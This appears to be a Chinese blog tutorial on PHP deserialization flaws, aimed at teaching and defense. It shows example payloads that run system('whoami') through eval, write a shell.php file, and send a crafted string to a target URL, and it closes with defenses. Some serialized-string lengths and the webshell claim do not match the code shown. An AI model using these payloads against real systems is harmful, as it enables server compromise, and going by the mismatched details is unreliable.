php反序列化

发布于:2025-03-22 ⋅ 阅读:(13) ⋅ 点赞:(0)

一、PHP序列化与反序列化基础

1. 序列化(serialize)

将PHP对象或数据结构转换为字符串,便于存储或传输。

php

class User {
    public $name = "Alice";
    private $role = "admin";
}
$obj = new User();
echo serialize($obj); 
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}

2. 反序列化(unserialize)

将序列化字符串还原为PHP对象或数据结构。

php

$data = 'O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userrole";s:5:"admin";}';
$obj = unserialize($data);
echo $obj->name; // 输出:Alice

3. 魔术方法(Magic Methods)

反序列化时会自动触发的特殊方法:

  • __wakeup():反序列化时调用。

  • __destruct():对象销毁时调用。

  • __toString():对象被当作字符串使用时调用。

  • 漏洞核心:攻击者通过控制反序列化数据,触发魔术方法中的危险操作。


二、PHP反序列化漏洞原理

1. 漏洞成因

当程序反序列化用户可控的数据且存在以下条件:

  • 类中定义了可被利用的魔术方法(如__destruct中执行文件删除)。

  • 类属性可控,导致代码执行或敏感操作。

2. 漏洞利用链(POP Chain)

通过构造特定对象,触发多个魔术方法形成利用链,例如: unserialize() → __wakeup() → 调用某方法 → __toString() → 执行系统命令


三、常见漏洞类型与利用

1. 直接代码执行

php

class Exploit {
    public $cmd = "system('whoami');";
    function __destruct() {
        eval($this->cmd);
    }
}
$payload = serialize(new Exploit());
unserialize($payload); // 触发eval执行系统命令

2. 文件操作(写入Webshell)

php

class FileHandler {
    public $filename = "shell.php";
    public $content = "<?php phpinfo(); ?>";
    function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}
// 生成Payload:O:11:"FileHandler":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:17:"<?php phpinfo(); ?>";}

3. 利用内置类的危险方法

  • SoapClient:SSRF漏洞(需开启ext-soap扩展)。

  • SimpleXMLElement:XXE漏洞。

  • Phar反序列化:通过Phar协议触发反序列化。


四、POP链构造实战

1. 靶场示例(DVWA)

假设存在以下代码:

php

class Logger {
    private $logFile;
    function __construct($file) {
        $this->logFile = $file;
    }
    function __destruct() {
        file_put_contents($this->logFile, "Log saved.");
    }
}
​
$data = unserialize($_GET['data']);

2. 构造Payload

php

class Logger {
    public $logFile = "shell.php";
}
$payload = serialize(new Logger());
// 输出:O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";}

访问URL: http://target.com/vuln.php?data=O:6:"Logger":1:{s:6:"logFile";s:9:"shell.php";} 触发后会在服务器生成shell.php文件。


五、防御措施

1. 输入过滤

  • 避免反序列化用户输入的不可信数据。

  • 使用json_encode()/json_decode()替代序列化。

2. 魔术方法安全设计

  • 避免在__wakeup__destruct等方法中执行危险操作。

  • 对反序列化的类属性进行严格校验。

3. 白名单限制

  • 使用allowed_classes参数限制反序列化的类:

php

unserialize($data, ["allowed_classes" => ["SafeClass"]]);

4. 签名验证

对序列化数据添加HMAC签名,验证数据完整性。